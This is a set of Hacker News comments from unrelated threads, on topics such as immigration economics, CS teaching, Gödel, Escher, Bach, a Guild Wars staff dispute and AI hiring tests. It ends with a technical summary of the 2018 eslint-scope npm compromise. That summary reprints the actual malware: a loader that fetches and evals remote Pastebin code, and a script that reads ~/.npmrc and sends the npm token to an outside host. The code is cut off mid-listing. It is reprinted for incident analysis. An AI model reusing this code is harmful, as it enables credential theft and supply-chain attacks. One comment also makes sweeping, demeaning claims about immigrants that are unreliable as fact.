usually use it for small cron jobs or data collection jobs where I'm confident I wont' end up with 4 running instances because a looped call is timing out.<p>[0]: I'm experimenting with writing these mega posts with classical footnotes as opposed to making them epic journeys to slog through my prose style.<p>[1]: I hate myself more every time I say the word cloud even knowing it's the lingo folks will understand the most. They're service products. Let's all sink into despair together.<p>[2]: And by "deep" I mean, "Good enough to have a reputation suitable for a professional consultant and attract desperate clients."<p>[3]: To which I say, "Look, if you wanna pretend that the only possible architecture is a spiderweb of microservices that positively push backpressure up to the client and pretend that introspect-able queues don't give your services equivalent confirmation, that's a game you can play. I think it's disrespectful to folks who have equivalent backpressure schemes because they have similarly refined infrastructure for understanding their queue volume. Both methods are similar, and have different strengths. Needham's duality is real and it's exactly the same here as it is on one single computer."<p>[4]: It's 2018, we have containers, and if you support Java with its slower startup times you surely could support lightning fast Rust or Haskell executables as well. Get with it, Amazon! |
A world of free movement would be $78T richer | Okay, take the people the OP is talking about, with spouse and children. Then look at their qualifications for work in the US. Look at their skills in reading, writing, and arithmetic, knowledge of English, US civics, etc. Some of the immigrants need training in bathing, using a toilet, and other basic hygiene. And there tend to be serious medical, including communicable disease, problems -- TB, measles, polio, GI parasites, etc. And look at job skills -- computer usage, basics of electricity in factories and on job sites, skills with important work place tools, etc.<p>The US has long had immigration criteria that ruled out such people.<p>Okay, now take a US citizen that on qualifications is a good match for such an immigrant and see what their job and career prospects are. As we know very, very well, they are unemployable or nearly so. Well, so will be the immigrant. The ability of the immigrant to get a job, have a career, and support themselves and their family is from poor to zero.<p>So, why do such immigrants want to come to the US? And how can they hope to make it?<p>First, the usual way has been the immigrants were young men who left their families, friends, villages behind and did common labor, e.g., picking fruit. They lived several to a room sleeping on a mat on the floor. They were here only the warmer parts of the year, not through the winters. They got paid in US cash with no deductions for taxes or US Social Security. Then at least for the winter, they went home and took their US cash with them. Due to currency value differences, their US cash would go really far back in their home village. Of course, that whole situation is wildly illegal, on taxes and more. A US citizen here for 12 months a year can't do that and support a family or even themselves.<p>Second, if the immigrant brings their family, with children, then the family and especially the children are one heck of a huge expense for the US education and welfare systems, paid for by US workers paying taxes.<p>More broadly the OP does poor accounting: Sure, there are a lot of people in the world who are, in US terms, not very productive. Some of these people are current US citizens, and the US is struggling to get those people trained, into jobs, and productive. The US has many dozens of job training programs. Those candidate immigrants are on average less well qualified than the millions of current US citizens struggling to be productive in the US economy. Where do the OP authors get the funny stuff they've been smoking to conclude that immigrants much less well qualified than millions of US citizens who are already struggling to get good jobs in the US will do better than those already struggling US citizens?<p>Or, if those immigrants are such a valuable, neglected resource, then, sure, take some US tools, supplies, know-how, etc. to some foreign countries and give the people there jobs. Chrysler tried that in Mexico and has decided that it was a mistake and are returning to Detroit.<p>Uh, apparently to make people as productive as in the US takes more than just some people and training for a job; also required are huge investments in <i>infrastructure</i> from water and sewer, roads and bridges, suppliers and supplies, communications, regulations, laws, law enforcement, public health, medical care, citizenship, ..., the whole thing. The OP is being simplistic, straining over gnats and forgetting elephants.<p>IMHO, too many powerful people in US business see the immigrants as a new version of slave labor. In 1861, the US had a lot of slave labor and people who liked that situation; we fought a bloody war over that issue, killed IIRC 600,000+ US soldiers and maybe a comparable number of other US citizens. Net, slavery was a big mistake. Bringing back slavery will be a bigger mistake. The forces in favor of slavery have been strong for thousands of years and did not end in 1865 or so.<p>If the authors of the OP want to take some funds, rush to some country with lots of really poor people that are unproductive, set up some businesses, give those people jobs, training, etc., so be it. People have been trying that off and on around the world for a long time. We've long had international organizations for such development. Successes have not been anything like the claims of tens of trillions of dollars claimed in the OP.<p>So, the OP looks like really bad, simple economic and business arithmetic, so bad the OP does not look like economics. So, what really is the OP? Hmm .... For a candidate answer, consider the advice "Always look for the hidden agenda.". |
Ask HN: Old CS lecturer looking for advice from current and recent students | I’m in a somewhat unique position of being a current undergraduate student, but also a TA, so I can somewhat comment from both the student and the teacher side of things.<p>* Making the lectures available in an accessible format (I have a slight preference for PDF, but HTML is just fine too) is a huge benefit. Before exams I like to aggregate all of the lecture materials to date into a single monolithic document so I can ctrl+f the whole thing while studying. If you have a proper hierarchy / table of contents this is even easier.<p>* Learning from a book / lecture along is really hard. It’s important to not just show examples, but show me how I can run the examples on my computer myself. Something I can interact with live, tweak, play with, add code to is hugely useful for building understanding.<p>* Don’t assume that I understand the boilerplate, tools, and so on. I’ve had a lot of professors who explain the core material well, but not how to actually open up a text editor / IDE, write code, compile it, and run it. I had already been using UNIX for years before starting college so this didn’t affect me that much, but tooling is one of the #1 issues I see my peers (and the students in courses I TA) struggle with.<p>* Use lecture to explain concepts, not code as much as possible. If you show me code in lecture I’m probably not going to remember it well enough or write it down in my notes well enough to replicate your example if it’s at all non trivial. Instead, make video/HTML/PDF tutorials that walk the student through the code example. If you want to show a code example in lecture, walk through one of those tutorials in lecture! Make sure these tutorials explain how to go from sitting at my desktop with nothing open to writing code and having it run, especially early in the course. See [1] and [2] as concrete examples. If you spontaneously come up with a cool demo or something, go for it, but try to record your screen / terminal, and if it you can’t get it working, move on quickly. When I TAed my institution’s intro to UNIX systems class, I kept a terminal open on the projector at all times with a `script` session running. I would upload the transcript after each lab sessions so the students could reference it.<p>* If it is possible, set aside scheduled time for the students to be in a computer lab working on assignments that you or a TA will be there to help them if they have questions. It can be hard to articulate code problems during lecture or in office hours without being in front of a computer with an IDE/editor open. If you have large class sections this may not be a viable option though.<p>* For assignments and homework, include a clear list of deliverables which the student should turn in. For example “I want a zip file where /myprog.c implements the API described on page X of the homework 3 assignment sheet” and so on.<p>* If you want students to do something, attach a grade to it. In my experience, ungraded exercises usually result in the exercises remaining undone by the majority of the class.<p>* Provide a reference library on your course site of functioning code examples, each with a README explaining how to run it, what it does, and so on. Ideally try to demonstrate one concept per sample. This will both provide students with working examples to learn from, as well as be a valuable resource when you get asked questions in lecture and need to demonstrate a particular function call or technique off the cuff.<p>* Something that one of my past professors did which I found very valuable was to have an "A" and a "B" version of each assignment. Essentially the "A" version would be "get it to compile and implement some trivial facet of the assignment", and the "B" version would be "implement everything in the assignment sheet". The A version would always be due a few days after the assignment was posted, and the B version a week or two later. The A version would be worth like 10% of the assignment score and the B version the other 90%. The value here is that it forces people to start the assignment early on (no more students waiting until the last minute to start working on a homework), and gives student's an idea if they are on the right track; it also gives you a way to ding the student for making legitimate mistakes in a way that won't tank their overall course grade.<p>* The biggest thing in my opinion is that you are asking these sorts of questions. In my experience, the best learning outcomes always happen with teachers who care and want to teach and share their expertise and students who want to learn and put forth a genuine effort to do so. When the teacher does not care, even the most motivated students will struggle and have to go learn on their own. When the student's don't care they aren't going to get much out of the class no matter how good the professor is. In that vein however, try to engage with the students and get them interested - don't just focus on the students who are already motivated and interested in the subject; make sure to emphasize how the course material is practically useful and understanding it will benefit the students in their careers.<p>* As some other people have pointed out, take student evaluation forms with a grain of salt. People who get bad grades are likely going to give you a bad rating, and people who get good grades are likely to give you a good rating. At most institutions, the eval forms will have a comments section - that's what you want to look at the most.<p>If you want to discuss more, feel free to reach out to me. My contact information can be found on my website[3] (I try to avoid posting it on forums and message boards to avoid bots).<p>1 - <a href="https://cse.sc.edu/~jbakos/613/tutorials/setup_tools.shtml" rel="nofollow">https://cse.sc.edu/~jbakos/613/tutorials/setup_tools.shtml</a><p>2 - <a href="https://cse.sc.edu/~jbakos/613/tutorials/scells_schematic.shtml" rel="nofollow">https://cse.sc.edu/~jbakos/613/tutorials/scells_schematic.sh...</a><p>3 - <a href="http://cdaniels.net/about.html" rel="nofollow">http://cdaniels.net/about.html</a> |
Why Asian-Americans feel powerless in New York’s elite high schools | Gee, all this terrible struggle over what can and can't get from some K-12 school. What a WASTE. Huge misunderstanding.<p>Bronx High School of Science? How about instead Stanford, MIT, Harvard, Princeton?<p>How to do that? Well, big secret (don't tell anyone!): How do professors at research universities stay up to date so that they can do leading edge research? Do they take refresher courses at the Bronx High School of Science? Not likely! Do they take courses at all? Essentially no.<p>So, what the professors do is just study the best materials and go to some seminars. In simple terms, students can do much the same starting with, say, high school ninth grade material and continuing on. If get very far in academics, then just MUST work and learn fully independently or nearly so, so might as well just start doing that ASAP, especially to get around all the terrible struggles of K-12.<p>Bluntly, nearly no US K-12 teacher knows any material that is worth any student struggling over. So, get THROUGH the K-12 material and get on to college level material, ASAP.<p>So, for a student who wants the best education in K-12 and later, first, get the basics, the prerequisites for college material, and then study the best college material. "The basics" are just high school math and science together with good skills reading and writing English. History, <i>belle lettre</i> literature, music, etc., maybe fun and nice but for academic success close to irrelevant.<p>So, in K-12 years, ASAP get into fractions, exponents, compound interest, areas and volumes. Then do first year algebra, plane geometry, second year algebra, trigonometry, solid geometry. Do general science, chemistry, biology, physics. For the science, will do it all again and much more thoroughly again anyway, essentially several times more, so don't get all perfectionistic for the first pass.<p>Then start on college material -- first up, calculus of one independent variable and then several independent variables, heavy on intuition, light on proofs. Watch the best Internet lectures -- IMHO, Khan Academy is NOT good enough. Use several of the best regarded texts; to find those, ask some college students, TAs, or profs or look at the Web sites of calculus courses at the best universities and see what texts they are using. Likely buy the texts used -- calculus hasn't much changed in decades, highly recommended old texts should be fine and cheap! Do the homework problems and check answers in the back of the book.<p>Maybe wander onto a college campus or have a family friend who is a college prof and get the tests for the calculus course, take those, and beg a calculus TA or prof to grade the results.<p>Continue with math and science the same way -- best materials, with some informal contact with a college.<p>Once get to college junior level material, at some research universities, start attending public research seminars. Typically won't understand more than 10% of the material but WILL get lots of keywords that can motivate and direct studies. Maybe meet a prof or two who will volunteer to grade some homework, say, in math, physics, maybe let you have some copies of tests and grade your solutions. Also many graduate school departments publish their qualifying exams -- they are good and important sources of exercises.<p>When have good reason to feel confident, take the SAT aptitude tests and the STEM field subject matter tests AND then the same for the GREs. Right, still in K-12 but taking the GRE to show that you are ready for graduate school.<p>If really want to seal the deal, blow away the college admissions committees, publish some papers, a few should do, in good quality peer reviewed journals.<p>Then apply to college, maybe using some of the contacts you got from attending the research seminars. So, a friendly prof might just contact the college admissions committee and ask that you be admitted with full scholarship.<p>So, you enter as a college freshman but start on your Master's and maybe are a TA or research assistant for a prof.<p>Look, for academics, the real goal is likely not very visible at the Bronx High School of Science or any K-12 place. The real goal is in three words, research, research, and research. For that, get into a good research university, do well learning the prerequisites, attend seminars to see what some of the current research topics are, work with good profs, and do publish some good research.<p>If want some additional concentration on bio-medical and get an MD, fine. It's also possible to go for a law degree. Or can continue in main line STEM field academics and be a professor at a research university. Or, sure, can do what, say, A. Viterbi did and go for entrepreneurship and, then, get your name on an engineering school!<p>Does independent study work? It certainly did for me: I got a Ph.D. in applied math and was a college prof. Starting with first year algebra, class time was mostly a waste of time, and I learned nearly all the material, especially the good material I learned well, from independent study. My preparation for the graduate school qualifying exams, my Ph.D. research, my other, published research -- all from essentially just independent study. That's what research professors do -- learn what they need to know and then do their research, both essentially independently.<p>At least at one time, the math department at Princeton stated on their Web site that no courses were offered for preparation for the qualifying exams, that the courses were introductions to research by experts in their fields, and that students were expected to prepare for the qualifying exams on their own. So, the Princeton math department regards independent study as essential.<p>One of the best lessons I learned in math was in high school plane geometry: The teacher was the most offensive human I ever saw. So, in class, I just put my head down and slept. Then after school, I read the lesson material quickly and then looked at the exercises. I started with the last, most difficult ones and did them all until I got to the trivial ones. Then I turned to the back of the book for the more difficult supplementary exercises and did ALL of them, never let even one go. So, on the state test, I did well!<p>I continued to learn math that way: E.g., I never took freshman calculus, instead, got a good text and taught myself, much as I learned high school plane geometry and for a course started on sophomore calculus and did well.<p>E.g., as a senior, I got a famous, challenging text in topology and gave a prof a lecture a week, for each chapter, one lecture on the material and one more with solutions to the exercises.<p>It's not just me: Bluntly, if go very far in academics, just MUST be good at independent study. So, might as well get started in high school material, and if do that then can f'get about all the struggles with Bronx High School of Science, Dalton School, etc. Again, the K-12 teachers don't know anything worth struggle. Want to struggle a little? Okay, on YouTube, watch the lectures on quantum mechanics from MIT. Or, for a mathematician giving an introduction to bio-medical research, watch the Eric Lander lectures -- on YouTube, from MIT.<p>Bronx High School of Science? F'get about it. Again, get the good stuff from, say, Stanford, MIT, Harvard, Princeton, etc. Done. Any questions? |
Why I Don't Love Gödel, Escher, Bach | This critique sounds like it comes from someone who has engaged with a wide range of topics enough to know that there is a lot of detail and nuance, but not enough for any of it to have coalesced into a simple understanding of it.<p>Cage's music is annoying and pretentious, and I largely think that because Cage was annoying and pretentious. He made a classic mistake in the art world of trying to tell people what his work was about and then getting pissed off when people either still didn't like it or chose to interpret it differently. That's a rookie mistake, and it's a fight artists never win. The smart ones keep their mouths shut and let the work speak for itself. The good ones make art that can be meaningful to a lot of different people in a lot of different ways. This was one of the great sticking points in the "War of the Romantics" between the New German School (Wagner and Liszt) on the side of program music against the Leipzig group (Schumann, Brahms) pushing absolute music. This battle between composers arguing about whether meaning should be explicit and imposed or if it should be intrinsic to the music and left to the listener was the context for Cage's work.<p>And his work is most charitably interpreted as social commentary, even though that's not what he wanted. The best thing you can say about it is that it asks the question, "What is music <i>now</i>?" But he thought he was the first person to ever ask this question and got really irritated when people pointed out that academics had been asking this question for a couple thousand years. So, a lot of very serious musicians thought he was pretty dumb, and he got pissed and said it's not dumb, you're dumb and you don't understand it, and if you were smart you would think it's all genius. It's really hard to defend that kind of a person, but it gets easier as time passes and you can stop thinking about the artist as a person and think of the art. But as a professional violinist for over 30 years and a music theorist, I don't object to the Hof's assessment. I could say similar things about Milton Babbit too, integrated serialism, and a lot of contemporary classical music. It would probably get a response from a certain kind of person who would say that I just don't get it or that I haven't given it proper study. Well, I have, and I think it's kind of dumb, it's been done before, and I no longer have the youthful zeal it takes to debate these things point-by-point.<p>Similarly, the criticism of the treatment of Zen also seems a little youthful. I grew up in a very Catholic family with parents who basically don't accept Vatican 2, and still practice Latin mass, and a large part of my home schooling was the intense study of Catholic history, philosophy, and theology. I took being Catholic extremely seriously for a very long time. But over the years I came to the conclusion that it was basically a bunch of cute fairy tale stories. Wonderful philosophy; terrible religion. And I'm not blind to the rich cultural heritage the Catholic church is responsible for. As a classical musician, I'm extremely aware of (and grateful for) how much the Church is responsible for Western Music as we know it today.<p>As I was drifting away from Catholicism, I got pretty deep into Buddhism. Ultimately I came to a similar conclusion. Great philosophy; silly religion.<p>Ultimately this article comes across almost as whiny and angsty and teenagery as John Cage does when he's defending his music: "You just don't understand me!!!"<p>No dude. Trust me. I understand it. It's just kind of stupid. You'll grow out of it eventually.<p>The book isn't perfect by any means. It <i>is</i> contrived. I don't think you could write a book like that today. But it was written in a very different time. A time when the knowledge divide between ivory tower academics and lay people was explicitly desired by the academics in a wide variety of fields, including--classical music. Babbit was famous for arguing that classical music <i>should not be comprehensible to anyone who didn't have a PhD in Music Theory or Composition</i>. That classical music deserved to be as respected and obtuse as advanced math and science, and that normal people didn't deserve to be able to understand great art. This book was a direct reaction to that academic pretense, and it presaged an era that has disseminated more knowledge across a wider range than any other explosion of knowledge since the printing press--and far outdone it.<p>Outside of that context, the book almost doesn't make any sense. Why would anyone write like this in a world where the top academic minds of every field lay out their innermost thoughts about the most challenging problems in their field on their blogs and talk to riff-raff in the comments and try to make things as understandable as possible? Well, no one writes like that any more. Not even Hofstadter writes like that any more. It is an artifact of its time . . . a lingering remnant of a world where knowledge had to be protecting by intellectual elites and a wide-ranging understanding of difficult concepts was seen as a threat to the academic establishment, and a reminder of how recently things worked that way.<p>When I was a kid violinist just getting into the completely new world of these concepts, it was illuminating and perhaps life-changing. As a grown up now with a different perspective, I can't see how it would have nearly as much of an impact on a younger person in today's context, and so in my world, its value has shifted from being the kind of book that initially illuminates a certain set of ideas and now reminds us of the world we came from way more recently than it feels like. |
Guild Wars studio fires two employees after clash with streamer | Something I think is missing here (and in the article) is a transcript of the conversation in question. So here's one I grabbed from the SSC subreddit culture war thread [0] permalink[1]:<p>------------------------------------------------------<p>Jessica Price:<p>>Since I spent all kinds of time saying it on a Reddit AMA, and I haven't talked about actual game dev on Twitter in a while, here's a thread about writing for the PC character in an MMO.<p>>The dirty secret is I'm not sure if it's possible to make an MMORPG (or CRPG) character compelling, because people have different expectations about what that character will be, as opposed to a pre-designed character in a single-player game.<p>>People booting up Bioshock know they're playing Jack. People starting Dishonored know they're playing Corvo. People beginning Tomb Raider know they're playing Lara Croft. So in those games, you have more wiggle room to make the protagonist an actual character.<p>>Whereas in an RPG, where the player chooses all kinds of character options and names their character and designs their face and so on, they feel more ownership over that character. They're not playing a character YOU designed--they're playing a character THEY designed.<p>>So if Jack or Lara or Corvo says or does something the player doesn't feel that THEY would say or do, the player's more forgiving, because they have the expectation that they're piloting a character someone else created.<p>>N.B. that I'm not talking about overall plot objectives/quests. Players know going in that the game is going to be telling them what to do, and their character is going to do it, and that holds true even when they've "created" the character.<p>>But the * interpersonal* stuff, the PC's REACTIONS, players respond strongly to. Some people don't like it if they think their character's responding in ways that make them too much of an asshole. Some don't like it if their character's responses seem weak.<p>>So, basically, most things that you'd do writing-wise to give a character, well, CHARACTER, are going to upset a large contingent, maybe even a majority, of your players.<p>>So--I know I've said this before on Twitter, but it's still going to weird people out, but please bear with me--you have to construct your MMO/RPG's PC character's dialogue as if they were Bella Swan from Twilight.<p>>To be clear, I don't think Twilight is good writing. I don't think Bella Swan's a well-constructed book character. And I think people who criticize Twilight for the latter are correct but also missing the reason for Twilight's popularity.<p>>Because Twilight isn't the love story of Bella and Edward. It's the * experience of being loved by Edward.* Which is why Bella's constructed the way she is.<p>>Bella Swan is a carefully constructed blank space, with JUST enough personality to function. All of her personality traits are chosen to avoid preventing the reader from inserting themselves into the space she holds in the story.<p>>She's a bit of a klutz, but JUST enough to make her endearing, not enough to prevent her from actually doing anything the story needs her to do. She's a little bit awkward. JUST enough to be relatable but not enough to actually hinder her. And so on.<p>>And essentially, we have to write the player character in an MMO/RPG the same way.<p>>Specifically in GW2, in the Living World, we can write the Commander with a bit of wry exasperation, a hint of impatience, a touch of "okay, I'm done fooling around with this crap and I'm going to take charge," but most of their lines have to be pretty devoid of personality.<p>>Because if we give them too much personality, it might clash with how the player is imagining Their Commander.<p>>So, how do we tell a TV-like season of story with a protagonist who can't really have a personality?<p>>The answer to that, and I dunno, maybe this is too much of how the sausage gets made but whaddaya want from me, any sense of shame I had burned out a long time ago: SLEIGHT OF HAND.<p>>We SUGGEST that the Commander has a personality in how the other characters interact with and react to them. Even there, we have to be super-careful. We can't even have THEM directly characterize the Commander.<p>>You'll rarely hear a character say anything about what the Commander always does or doesn't do, except when it's PURELY factual because it's something the game design FORCED the PC to do.<p>>E.g. "the Commander always finds a way!" because literally if you don't we'll resurrect you until you do.<p>>We have NPCs react to you with affection, or irritation, or leeriness, or whatever, to suggest that your character has regular habits and ways of interacting that build these relationships. But for the most part, they don't.<p>>The PC is who you imagine them to be, and the NPCs react in ways that have to FEEL personal, and build a story, while not conflicting with whatever you're imagining your character's personality to be. We WANT you to project.<p>>Which makes writing the NPCs' relationships with the PC basically like writing horoscopes. It has to feel specific and personal while actually being universal.<p>>So:<p>>A) VERY delicate sketches of non-objectionable personality traits (like a hint of wryness or world-weariness)<p>>B) NPCs that behave as if your character has a distinct personality while not doing so in ways that actually identify what it is<p>>C) one-sided relationship-building<p>>Voila. An MMO/RPG character.<p>>Needless to say, a lot of the color comes from NPCs' relationships with EACH OTHER, even though we try to keep it centered on the PC as much as possible.<p>>It is a constant, very fragile calibration. We don't always get it right.<p>>Incidentally, if you've played Ep 3 of this season of GW2's Living World, you've seen this sort of writing taken to an extreme in Joko's final monologue.<p>>Almost everything he says is about actions the game has forced you to take, not your own character traits, and he's clearly projecting when he talks about what you were thinking, but it's--hopefully!--constructed in a way that feels personal, like he's twisting the knife.<p>Deroir:<p>>Really interesting thread to read!
However, allow me to disagree * slightly* . I dont believe the issue lies in the MMORPG genre itself (as your wording seemingly suggest). I believe the issue lies in the contraints of the Living Story's narrative design; (1 of 3)<p>>When you want the outcome to be the same across the board for all players' experiences, then yes, by design you are extremely limited in how you can contruct the personality of the PC. (2 of 3)<p>>But, if instead players were given the option to meaningfully express * their* character through branching dialogue options (which also aren't just on the checklist for an achievement that forces you through all dialogue options), (3 of 4 cause I count seemingly...)<p>>then perhaps players would be more invested in the roleplaying aspect of that particular MMORPG.
Nonetheless, I appreciate the insightful thread! (End)<p>Jessica Price:<p>>thanks for trying to tell me what we do internally, my dude 9_9<p>Deroir:<p>>You getting mad at my obvious attempt at creating dialogue and discussion with you, instead of just replying that I am wrong or otherwise correct me in my false assumptions, is really just disheartening for me. You do you though. I'm sorry if it offended. I'll leave you to it.<p>Jessica Price:<p>>Today in being a female game dev:<p>>"Allow me--a person who does not work with you--explain to you how you do your job."<p>Deroir:<p>>So much for an open discussion I guess. I meant no disrespect AT ALL. Never did. Never will. Neither did I imply I knew better. Nor has this ANYTHING to do with gender. Never did. Never will. I will retract my comment, cause obviously I'm in the wrong forum for this kind of talk.<p>___________<p>More Jessica Price, in relation to the above chain but not posted as replies to them<p>>like, the next rando asshat who attempts to explain the concept of branching dialogue to me--as if, you know, having worked in game narrative for a fucking DECADE, I have never heard of it--is getting instablocked. PSA.<p>>Since we've got a lot of hurt manfeels today, lemme make something clear: this is my feed. I'm not on the clock here. I'm not your emotional courtesan just because I'm a dev. Don't expect me to pretend to like you here.<p>>The attempts of fans to exert ownership over our personal lives and times are something I am hardcore about stopping. You don't own me, and I don't owe you.<p>links to some of the tweets:<p><a href="https://twitter.com/Delafina777/status/1014555719352213504" rel="nofollow">https://twitter.com/Delafina777/status/1014555719352213504</a><p><a href="https://twitter.com/Delafina777/status/1014581433937981445" rel="nofollow">https://twitter.com/Delafina777/status/1014581433937981445</a><p><a href="https://twitter.com/Delafina777/status/1014554296107483136" rel="nofollow">https://twitter.com/Delafina777/status/1014554296107483136</a><p><a href="https://twitter.com/DeroirGaming/status/1014280605599748096" rel="nofollow">https://twitter.com/DeroirGaming/status/1014280605599748096</a><p>_________<p><a href="https://clips.twitch.tv/CrypticMistyStingrayDxCat" rel="nofollow">https://clips.twitch.tv/CrypticMistyStingrayDxCat</a><p>here is like a 1 minute of the guy that talked to her about this, talking about her like 2 days before this all went. the dude idolized her. He's also an "arenanet partner" and popular streamer of the game; he has an NPC named after him in it.<p>------------------------------------------------------<p>Some formatting was changed (escaping of * characters)<p>0: <a href="https://www.reddit.com/r/slatestarcodex/comments/8vhj05/culture_war_roundup_for_the_week_of_july_02_2018/" rel="nofollow">https://www.reddit.com/r/slatestarcodex/comments/8vhj05/cult...</a><p>1: <a href="https://www.reddit.com/r/slatestarcodex/comments/8vhj05/culture_war_roundup_for_the_week_of_july_02_2018/e1yw2h7/" rel="nofollow">https://www.reddit.com/r/slatestarcodex/comments/8vhj05/cult...</a> |
The Resume Is Dead | I think it makes sense that smaller companies should be looking for the candidates who aren’t “obvious” hires for larger companies which can better compete for pay. On the other hand I’m not convinced that this A.I. test either works particularly well or is particularly fair, or even that “hunger” is the important trait to have.<p>The article doesn’t refer to any evidence that it works, and considering that it is basically marketing fluff, you would expect them to talk about such evidence if they had it. A second problem is that even if the test works then all it means is that you get more people who are like your “top engineers.” That adding more of these people must improve your productivity is a very reductionist view of the world. And what if the “top engineers” being optimised for aren’t actually the kind of people that are useful to the company. For example if a few dispersed jerks with huge egos produce a lot of code, that could be manageable. But if you hire 5 more of them and can’t keep them apart you could have a problem.<p>This is supposed to be something to help small companies find talent. Where is the training data coming from? A small company won’t have enough samples to get a useful model so perhaps an accumulated dataset from many companies is used. In this case one should ask if it is good or bad that different companies’ notions of top talent are being mixed. Another problem with the training data is that only people who are hired will be subsequently evaluated and put into the training data. So such an A.I. would only be able to evaluate people who are already like those who have already been hired. What happens if you aren’t like those people? Do you just get rejected because the system is uncertain about whether you are any good, or get a random result because the system just picks a few mostly irrelevant or wrong qualities that it’s seen before. How can this ever evolve to make predictions about a wider variety of people if they aren’t evaluated because they aren’t hired because they weren’t much like the training data.<p>This test is supposed to improve diversity but it is focused on optimising for a single quality which sounds like a way to hire people who may be diverse on the surface but are mostly the same. I expect extreme levels of “hunger” is also something that will correlate to being a young man with not much of a life, so not great for diversity. That was just a hunch, let’s look at the example questions:<p>>What did your parents do for work?<p>>What do you believe about the world that other people don't?<p>>Who paid for your college education?<p>>What has been your biggest failure in life?<p>>Why do you want to join a team where the hours are longer and the pay is lower than a big company's?<p>The first thing I wonder is how the answers are processed. Either they are typed into a box and some A.I. magic happens or they are judged and scored by a human based on how they fit certain criteria. In the first case, what happens if the sentence structure is weird or the vocabulary unusual or whoever types it in uses incorrect grammar or spelling? Would the system be incorrectly understanding what is written? In the second case it seems like the interviewer’s bias could be reflected in their scoring. This could be made more fair by typing responses into boxes and then having a second person score a set of answers from several candidates at once but this still would allow for some of that persons biases to slip in.<p>Looking at the questions themselves it’s unclear to me that these questions would be likely to improve diversity and it also is quite unclear what the “right” answers are in some cases, which makes the interview process more stressful for the candidate.<p>Asking about parents jobs seems a great way to discriminate: what if one only has one parent, or is an orphan, or has a parent in prison? What if the candidates is old and has parents who are retired or long dead, where their occupations wouldn’t seem to have much relevance to the candidate’s qualities. How would an answer of “I prefer not to say” be treated?<p>Asking about college education is a good way to exclude people who weren’t college educated yet surely such people are the kind of non-obvious hires one would want to look for. Perhaps such people wouldn’t be given this question but then what if the A.I. mainly focuses on the answer to the college question? This could move the “must go to college” requirement from the resume screen to the A.I. or training data.<p>The other questions seem like they could also have quite different answers between candidates from disadvantaged and advantaged backgrounds. Perhaps the A.I. would pick up on this through the answers and just transfer any bias in the training set into hiring decisions.<p>Finally, what happens if someone decides to sue a company using this test for discriminatory hiring practices? How could this test be defended in court?<p>From the candidate’s point of view, hiring practices can already seem bizarre and opaque but this test is even worse. |
Postmortem for Malicious Packages Published on July 12th, 2018 | # Tech summary:<p>- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: [email protected] and [email protected].<p>- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.<p>- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.<p>- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package [email protected] has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.<p>- Be careful if you cache npm packages on your server (nexus or similar).<p># All npm packages that directly depends on "eslint-scope"<p><pre><code> - "webpack" (9k dependents)
- "eslint" (6k dependents)
- "babel-eslint" (5k dependents)
- "vue-eslint-parser"
- "atom-eslint-parser"
- "eslint-web"
- "react-input-select"
- "react-native-handcheque-engine"
- "react-redux-demo1"
- "a_react_reflux_demo"
- "eslint-nullish-coalescing"
- "@mattduffield/eslint4b"
- "miguelcostero-ng2-toasty"
- "@sailshq/eslint"
- "eslint4b"
- "@helpscout/zero"
</code></pre>
Be careful there are more packages that depends on these as well.<p># What to do now?<p>Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.<p># How it happened:<p>"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."<p># How has been discovered<p>At 12:17 UK time on 12 July 2018 <a href="https://github.com/pronebird" rel="nofollow">https://github.com/pronebird</a> opened an issue <a href="https://github.com/eslint/eslint-scope/issues/39" rel="nofollow">https://github.com/eslint/eslint-scope/issues/39</a> with this log error:<p><pre><code> [2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments:
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
^^^^^^
SyntaxError: Unexpected end of input
at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
at emitOne (events.js:116:13)
at IncomingMessage.emit (events.js:211:7)
at IncomingMessage.Readable.read (_stream_readable.js:475:10)
at flow (_stream_readable.js:846:34)
at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
</code></pre>
So looks like if there was no error we would not discover it so quickly. So we were lucky!<p>#Technical details:<p>node_module code for eslint-scope-3.7.2 <a href="https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2.tgz" rel="nofollow">https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2...</a> (still the original code):<p><pre><code> try {
var https = require('https');
https.get({
'hostname': 'pastebin.com',
path: '/raw/XLeVP82h',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}, (r) => {
r.setEncoding('utf8');
r.on('data', (c) => {
eval(c);
});
r.on('error', () => {
});
}).on('error', () => {
});
} catch (e) {
}
</code></pre>
Pastebin script <a href="http://pastebin.com/raw/XLeVP82h" rel="nofollow">http://pastebin.com/raw/XLeVP82h</a> (Now removed):<p><pre><code> try {
var path = require('path');
var fs = require('fs');
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, {encoding: 'utf8'});
content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
var https1 = require('https');
https1.get({
hostname: 'sstatic1.histats.com',
path: '/0.gif?4103075&101',
method: 'GET',
headers: {Referer: 'http://1.a/' + content}
}, () => {
}).on("error", () => {
});
https1.get({
